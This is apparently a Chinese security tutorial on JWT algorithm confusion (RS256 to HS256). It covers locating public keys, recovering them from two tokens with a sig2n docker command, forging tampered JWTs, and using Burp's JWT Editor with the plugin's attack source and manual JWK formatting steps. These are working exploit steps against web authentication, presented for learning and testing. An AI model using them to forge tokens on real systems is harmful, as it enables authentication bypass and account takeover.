算法混淆

两类签名算法共用了同一个密钥,听着不太卫生的样子……

Tip

推荐先阅读文章:什么是 JWT?

什么是算法混淆?#

在许多早期或设计不当的 JWT 库中,验证签名的 API 往往只设计了一个,比如:

JavaScript
function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();
    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
}

如果开发者不知道该 API 内部还会进行算法选择,则可能写出这样的代码:

JavaScript
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);

攻击者只需修改 alg 参数的值,就会使得对称签名算法与非对称签名算法在验签过程中都使用同一把密钥(这就是算法混淆),而:

  • 非对称签名算法的验签密钥(公钥)往往是公开的
  • 对称签名算法中的签名与验签都使用同一把密钥

导致攻击者可以用公钥签发采用对称签名算法的 JWT。

Tip

注意加粗词哦!

如何利用?#

核心:

  1. 将验签算法,从非对称签名算法切换成对称签名算法
  2. 找到公钥,用公钥签发 JWT

步骤一:找公钥#

服务器有时会将 JWK Set 存放于一些标准端点中,比如:

  • /jwks.json
  • /.well-known/jwks.json

即使密钥未公开,你也能够从一对现有的 JWT 中提取出公钥:

Bash
docker run --rm -it portswigger/sig2n <token1> <token2>
Tip

你需要下载 Docker,首次运行此命令时,它会自动从 Docker Hub 拉取镜像(可能需要几分钟)。

此工具会使用你提供的一对 JWT,计算一个或多个可能的 n 值,最终输出一个:

  • 采用 X.509 格式的经过 Base64 编码的 PEM 密钥
  • 采用 PKCS1 格式的经过 Base64 编码的 PEM 密钥

示例:

Bash
docker run --rm -it portswigger/sig2n eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc5MjMxMjYzNywic3ViIjoid2llbmVyIn0.j1EdNdPzjVMArujvTq2gLMuWcf3YLcF5aL4tzkR1EM818F-oNmgs_jJMVsvmg1Qv-RlyssOBX7dzNXJd5bLZDJotTw-2xxteiEB94nst7AuQx_r8D3vlrq_FJAAnHr7lmTIxb48pMWQKIpOFl0DKKVDu9tdlha0obkpgr5K5QMYeQGUOZQf4gqdeLeziAhNUuUBOWS-q0Hb0t5ILsLR36W0Qg7QnKhCp21RywPov7aGBWareuNkyw1brP4DT0Jx4ib_0iUTH2LfdZfVG17Gobp4cIsFJC6sCQGozFkSdEDm-NhWe0_3uRGGuL92sfCn2qhMwi2_b4Z754skzfUnSeA eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc5MjMxMjU5Miwic3ViIjoid2llbmVyIn0.jbeLdhQb2h68f4yk5VXNRkzUu3raC6DMX0e0t8FcDPsxIjm1mT5uRRcWOAcAawFXONOVMSHUDNX9X__I4LRqEjH0o9aovc4iFNlJF5vZY-MhPnNrMPbbjXmtHKUKIVzGQ-QOkitEKJEdbqTZdltJ-TQvOGRJahsMeUz0WOCUjnTy-1I3D39chQeri5M5xHN69fi_HTo17aj3W9mZQaW5TcNZkI7JZJgv94GHF5WMto7j6GMX1um_FRy7IN-E2AdveVKtw9555NZ-A1r6BMFnDC9K4I3YcwUziPB_zKQq05U9BSIBZge9UY14ZvKqPd_-O6Tu7dj60-BkQE4-ZDdInA
Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxOVZWaHdGS0dkTzF2VDlpZVRQYQpWRHVWaW1LTWdja3NrVUVsRmlYZG1FdVBLWERzQ0tsM0ZmempkYU5rNm9QZ2V1cG5sTkRQRGhFL3VSNXhYSlFwCmhWRFBNS2w2OHUwMWU0UDJidktvRlBvTjFySndzcy9WaEd1OE5aeWVobFdSSkdnMThVRVRYcUZsaVQ1N3RSTk4KdTIvRmhkQTVFcFkvQmlNYVF3M1RRYlprREhZNGw2MzV2ZWhnZ2s2bXlsd0JHVFkxN0x2aG9GNnF0ak1ZTkg1MApPbUVBZTlNL2o3dmRrazFGTG5FalZEZXBnM1BnVUt3bUw5OTBuZXJnVzErRU1FaHIwdE9NMmFGK293Z1NGQnkxCmFhZmhMMVRTSXpjbVJJam4zakNNdXJYOEFTZ3R0Ym5VQVdBRU9rWXNRMllDclN5MkZ3SXJiSHA3Z0VHTVNmd3AKVHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc5MjM5NTUxMCwgInN1YiI6ICJ3aWVuZXIifQ.GNThIoVR-O8syYPL_DUJgkNjEzmf-fl3hNahBRn9NCQ
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXE5VlZod0ZLR2RPMXZUOWllVFBhVkR1VmltS01nY2tza1VFbEZpWGRtRXVQS1hEc0NLbDMKRmZ6amRhTms2b1BnZXVwbmxORFBEaEUvdVI1eFhKUXBoVkRQTUtsNjh1MDFlNFAyYnZLb0ZQb04xckp3c3MvVgpoR3U4Tlp5ZWhsV1JKR2cxOFVFVFhxRmxpVDU3dFJOTnUyL0ZoZEE1RXBZL0JpTWFRdzNUUWJaa0RIWTRsNjM1CnZlaGdnazZteWx3QkdUWTE3THZob0Y2cXRqTVlOSDUwT21FQWU5TS9qN3Zka2sxRkxuRWpWRGVwZzNQZ1VLd20KTDk5MG5lcmdXMStFTUVocjB0T00yYUYrb3dnU0ZCeTFhYWZoTDFUU0l6Y21SSWpuM2pDTXVyWDhBU2d0dGJuVQpBV0FFT2tZc1EyWUNyU3kyRndJcmJIcDdnRUdNU2Z3cFR3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiI3Zjk2ZjI1MS00MDczLTQzMjgtYTQyOS03YWM0MWNmMTc2MmMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc5MjM5NTUxMCwgInN1YiI6ICJ3aWVuZXIifQ.HG7VI-xZ89VgVd7fteat3r8mL0Yw2KjJ1RHwbE3uFb8

步骤二:公钥格式确认#

公钥有多种存储格式:

  • JWK
  • PEM

你选择使用的格式需要和验证端统一。而且,即使格式一致了,其内部内容包括不可打印字符(比如换行符)也需要统一。

Info

HMAC 对密钥的每一个字节都敏感。

假设你获得了 JWK Set:

JSON
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
      "alg": "RS256",
      "n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
    }
  ]
}

提取其中的 JWK:

JSON
{
  "kty": "RSA",
  "e": "AQAB",
  "use": "sig",
  "kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
  "alg": "RS256",
  "n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
}

在 JWT Editor 面板中,选择“New RSA Key”(因为验签算法是 RS256),并将 JWK 粘贴进去(如果获得的是 PEM 格式的公钥,则在“Format”处选择 PEM 后再进行复制):

Tip

JWT Editor 是 Burp Suite 中的一个插件,其介绍请看这篇文章。

点击“OK”之后就会新建一个密钥:

步骤三:改算法 + 签名#

接下来就是去 Header 中,修改 alg 算法为对称签名算法,并对进行重新签名操作得到 Signature。

这一过程通过 JWT Editor 插件能很方便地实现。

点击“Attack”,选择“HMAC Key Confusion”:

在新出现的窗口中,选择刚刚创建的公钥:

你可以尝试多个对称签名算法(毕竟你不知道服务器端会使用哪个),并且 Options 选项支持你调整公钥内部内容:

  • 换行符风格
  • -----END PUBLIC KEY----- 后是否还需要换行符(trailing newline)

使得公钥在内容以及格式上与验证方对齐。

选择完毕后,点“OK”。

Important

此时你无需再手动 Sign,Signature 已经帮你算好了。

坑点#

不难发现,使用“Attack → HMAC Key Confusion”实现算法混淆攻击,过程中并不会让你选择密钥的格式。

根据插件对应部分的源码:

Java
public class HmacKeyConfusionAttack {

    public static JWS attack(JWS jws, JWKKey key, JWSAlgorithm algorithm, NewLineStrategy newLineStrategy) throws PemException, UnsupportedKeyException, SigningException {
        String publicKeyAsPem = PemKeyFactory.jwkToPemKey(key.getJWK().toPublicJWK()).toString(newLineStrategy);
        byte[] pemBytes = publicKeyAsPem.getBytes();

        // Build a new header for the chosen HMAC algorithm
        JWSHeader signingInfo = new JWSHeader.Builder(algorithm).type(JWT).build();

        // Construct a HMAC signing key from the PEM bytes
        JWKKey signingKey = JWKKeyFactory.from(new OctetSequenceKey.Builder((pemBytes)).build());

        // Sign and return the new JWS
        Base64URL header = signingInfo.toBase64URL();
        Base64URL payload = jws.claims().encoded();

        return JWSFactory.sign(signingKey, header, payload, signingInfo);
    }
}

有一个密钥格式转换的过程,即最终的签名操作,用的都是 PEM 格式的公钥。

如果服务器采用的是 JWK 格式的公钥,则可能导致攻击失败。

因此,你还需要掌握手动实现算法混淆攻击。

由于 HMAC Key Confusion 支持 PEM,因此只需要掌握 JWK 的相关步骤。

假设你已经获得了 JWK 格式的公钥:

JSON
{
  "kty": "RSA",
  "e": "AQAB",
  "use": "sig",
  "kid": "cd3de04d-dd4d-4821-8857-3f7eed9e3c7c",
  "alg": "RS256",
  "n": "m0b2tK1CSZt525d37YCMFwIHZ4CidKj8tD4Y3VlR6lLL7Tb3dWcLKTWtiA1-hdsj9qOnQ6-_cxhg-YEjA34U2I81__sxr4DMDIL2x1SeQKIm3YBucn-NGqZsc5XYLvNGjOzRcL14gM_M2u_vViqa84JOmyes1tpFq95uOXgJRXBieS0XlssbmaLKf03gSPGPp2RdLLnXm0yiOjV6uqkOvOiKUv0Yj4xtnk0K5xBGHcEi3j2Ffw_vRyx0PjbNsinkzNIzMBrxtjP3tqB3575lDAXbh6ndLvD7c6_cMbXwsPbw2KyNpAxKjwohzP7MoXz7VLfC8bNY26v53BTl9c0NFw"
}

此时,你需要考虑:

  • 换行符(%0a%0d 还是 %0d 还是没有换行符)
  • 键值对之间,逗号分隔之后还有没有空格?({"kty": "RSA","e": "AQAB",……} 还是 {"kty": "RSA", "e": "AQAB",……})
  • 键值对中,冒号之后是否还有空格?("kty": "RSA" 还是 "kty":"RSA")
Tip

可能需要多次尝试。

假设你确定好内容了,则将其放入到 Burp Suite 的 Decode 模块中,并对其进行 base64 编码:

随后进入 JWT Editor 模块,选择“New Symmetric Key”:

点击“Generate”之后会生成一个对称密钥:

将其 k 的值修改为之前得到的 base64 编码后的结果:

JSON
{
    "kty": "oct",
    "kid": "4af1bf68-fe55-46ce-b150-0bed3361e7c0",
    "k": "ewogICJrdHkiOiAiUlNBIiwKICAiZSI6ICJBUUFCIiwKICAidXNlIjogInNpZyIsCiAgImtpZCI6ICJjZDNkZTA0ZC1kZDRkLTQ4MjEtODg1Ny0zZjdlZWQ5ZTNjN2MiLAogICJhbGciOiAiUlMyNTYiLAogICJuIjogIm0wYjJ0SzFDU1p0NTI1ZDM3WUNNRndJSFo0Q2lkS2o4dEQ0WTNWbFI2bExMN1RiM2RXY0xLVFd0aUExLWhkc2o5cU9uUTYtX2N4aGctWUVqQTM0VTJJODFfX3N4cjRETURJTDJ4MVNlUUtJbTNZQnVjbi1OR3Fac2M1WFlMdk5Hak96UmNMMTRnTV9NMnVfdlZpcWE4NEpPbXllczF0cEZxOTV1T1hnSlJYQmllUzBYbHNzYm1hTEtmMDNnU1BHUHAyUmRMTG5YbTB5aU9qVjZ1cWtPdk9pS1V2MFlqNHh0bmswSzV4QkdIY0VpM2oyRmZ3X3ZSeXgwUGpiTnNpbmt6Tkl6TUJyeHRqUDN0cUIzNTc1bERBWGJoNm5kTHZEN2M2X2NNYlh3c1BidzJLeU5wQXhLandvaHpQN01vWHo3VkxmQzhiTlkyNnY1M0JUbDljME5GdyIKfQ=="
}

随后点击“OK”。

接下来,对 JWT Header 中的 alg 参数进行更改,更改为对称签名算法。

同样,你可能需要尝试多种不同的对称签名算法,毕竟你不知道服务器端会使用哪个。

随后,通过 Sign,选择刚刚生成的对称密钥来进行签名操作:

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做